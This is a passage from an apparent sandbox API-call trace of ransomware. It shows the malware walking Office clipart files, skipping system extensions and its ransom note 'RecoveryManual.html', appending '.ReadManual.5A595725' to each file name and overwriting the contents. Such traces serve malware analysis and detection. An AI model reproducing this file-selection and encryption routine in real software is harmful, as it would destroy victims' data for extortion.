[0266.284] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105338.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105338.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105338.WMF" [0266.284] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105338.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105338.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105338.WMF.ReadManual.5A595725" [0266.285] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105338.WMF.ReadManual.5A595725") returned 87 [0266.285] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38695336204) returned 1 [0266.285] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105338.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105338.wmf")) returned 0x20 [0266.285] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105338.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105338.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0266.285] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=11584) returned 1 [0266.285] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2d40, lpName=0x0) returned 0x184 [0266.285] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0266.286] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0266.286] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0266.287] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0266.288] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x2d40) returned 0x2f0000 [0266.288] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0266.288] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38695668671) returned 1 [0266.288] CloseHandle (hObject=0x184) returned 1 [0266.288] SetSecurityInfo () returned 0x57 [0266.288] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0266.288] CloseHandle (hObject=0x194) returned 1 [0266.288] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e68d90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x42a4, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0105348.WMF", cAlternateFileName="")) returned 1 [0266.289] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0105348.WMF" | out: lpString1="J0105348.WMF") returned="J0105348.WMF" [0266.289] lstrcmpiW (lpString1="J0105348.WMF", lpString2="RecoveryManual.html") returned -1 [0266.289] StrStrIW (lpFirst="J0105348.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0266.289] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0266.289] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0266.289] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0266.289] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0266.289] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0266.289] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0266.289] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0266.289] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0266.289] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0266.289] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0266.289] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0266.289] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0266.289] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0266.289] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0266.289] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105348.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105348.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105348.WMF" [0266.289] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105348.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105348.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105348.WMF.ReadManual.5A595725" [0266.290] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105348.WMF.ReadManual.5A595725") returned 87 [0266.290] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38695831951) returned 1 [0266.290] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105348.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105348.wmf")) returned 0x20 [0266.290] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105348.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105348.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0266.290] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=17060) returned 1 [0266.290] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x42a4, lpName=0x0) returned 0x184 [0266.290] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0266.291] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0266.291] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0266.293] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0266.293] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x42a4) returned 0x2f0000 [0266.294] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0266.294] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38696249082) returned 1 [0266.294] CloseHandle (hObject=0x184) returned 1 [0266.294] SetSecurityInfo () returned 0x57 [0266.294] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0266.294] CloseHandle (hObject=0x194) returned 1 [0266.294] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e68d90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x229c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0105360.WMF", cAlternateFileName="")) returned 1 [0266.294] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0105360.WMF" | out: lpString1="J0105360.WMF") returned="J0105360.WMF" [0266.294] lstrcmpiW (lpString1="J0105360.WMF", lpString2="RecoveryManual.html") returned -1 [0266.294] StrStrIW (lpFirst="J0105360.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0266.294] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0266.294] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0266.294] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0266.294] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0266.294] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0266.294] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0266.294] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0266.294] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0266.294] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0266.294] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0266.294] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0266.294] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0266.295] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0266.295] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0266.295] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105360.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105360.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105360.WMF" [0266.295] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105360.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105360.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105360.WMF.ReadManual.5A595725" [0266.295] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105360.WMF.ReadManual.5A595725") returned 87 [0266.295] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38696344734) returned 1 [0266.295] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105360.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105360.wmf")) returned 0x20 [0266.295] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105360.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105360.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0266.296] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=8860) returned 1 [0266.296] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x229c, lpName=0x0) returned 0x184 [0266.296] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0266.302] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0266.302] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0266.304] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0266.304] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x229c) returned 0x2f0000 [0266.304] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0266.304] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38697282479) returned 1 [0266.304] CloseHandle (hObject=0x184) returned 1 [0266.304] SetSecurityInfo () returned 0x57 [0266.304] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0266.304] CloseHandle (hObject=0x194) returned 1 [0266.304] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56347c90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x305c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0105368.WMF", cAlternateFileName="")) returned 1 [0266.304] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0105368.WMF" | out: lpString1="J0105368.WMF") returned="J0105368.WMF" [0266.304] lstrcmpiW (lpString1="J0105368.WMF", lpString2="RecoveryManual.html") returned -1 [0266.304] StrStrIW (lpFirst="J0105368.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0266.305] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0266.305] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0266.305] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0266.305] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0266.305] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0266.305] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0266.305] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0266.305] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0266.305] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0266.305] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0266.305] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0266.305] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0266.305] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0266.305] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0266.305] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105368.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105368.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105368.WMF" [0266.305] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105368.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105368.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105368.WMF.ReadManual.5A595725" [0266.305] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105368.WMF.ReadManual.5A595725") returned 87 [0266.305] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38697381510) returned 1 [0266.305] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105368.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105368.wmf")) returned 0x20 [0266.306] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105368.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105368.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0266.306] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=12380) returned 1 [0266.306] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x305c, lpName=0x0) returned 0x184 [0266.306] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0266.307] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0266.307] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0266.309] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0266.309] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x305c) returned 0x2f0000 [0266.309] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0266.309] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38697787948) returned 1 [0266.309] CloseHandle (hObject=0x184) returned 1 [0266.309] SetSecurityInfo () returned 0x57 [0266.309] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0266.309] CloseHandle (hObject=0x194) returned 1 [0266.309] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56347c90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1364, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0105376.WMF", cAlternateFileName="")) returned 1 [0266.309] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0105376.WMF" | out: lpString1="J0105376.WMF") returned="J0105376.WMF" [0266.309] lstrcmpiW (lpString1="J0105376.WMF", lpString2="RecoveryManual.html") returned -1 [0266.310] StrStrIW (lpFirst="J0105376.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0266.310] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0266.310] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0266.310] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0266.310] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0266.310] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0266.310] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0266.310] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0266.310] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0266.310] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0266.310] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0266.310] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0266.310] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0266.310] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0266.310] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0266.310] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105376.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105376.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105376.WMF" [0266.310] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105376.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105376.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105376.WMF.ReadManual.5A595725" [0266.310] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105376.WMF.ReadManual.5A595725") returned 87 [0266.310] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38697885897) returned 1 [0266.310] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105376.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105376.wmf")) returned 0x20 [0266.310] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105376.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105376.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0266.311] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=4964) returned 1 [0266.311] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1364, lpName=0x0) returned 0x184 [0266.311] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0266.311] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0266.311] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0266.313] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0266.313] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1364) returned 0x2f0000 [0266.313] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0266.313] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38698267733) returned 1 [0266.314] CloseHandle (hObject=0x184) returned 1 [0266.314] SetSecurityInfo () returned 0x57 [0266.314] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0266.314] CloseHandle (hObject=0x194) returned 1 [0266.314] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e68d90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1364, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0105378.WMF", cAlternateFileName="")) returned 1 [0266.314] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0105378.WMF" | out: lpString1="J0105378.WMF") returned="J0105378.WMF" [0266.314] lstrcmpiW (lpString1="J0105378.WMF", lpString2="RecoveryManual.html") returned -1 [0266.314] StrStrIW (lpFirst="J0105378.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0266.314] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0266.314] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0266.314] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0266.314] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0266.314] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0266.314] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0266.315] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0266.315] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0266.315] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0266.315] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0266.315] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0266.315] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0266.315] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0266.315] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0266.315] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105378.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105378.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105378.WMF" [0266.315] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105378.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105378.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105378.WMF.ReadManual.5A595725" [0266.315] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105378.WMF.ReadManual.5A595725") returned 87 [0266.315] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38698365098) returned 1 [0266.315] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105378.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105378.wmf")) returned 0x20 [0266.315] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105378.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105378.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0266.315] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=4964) returned 1 [0266.315] CreateFileMappingW (hFile=0x194, 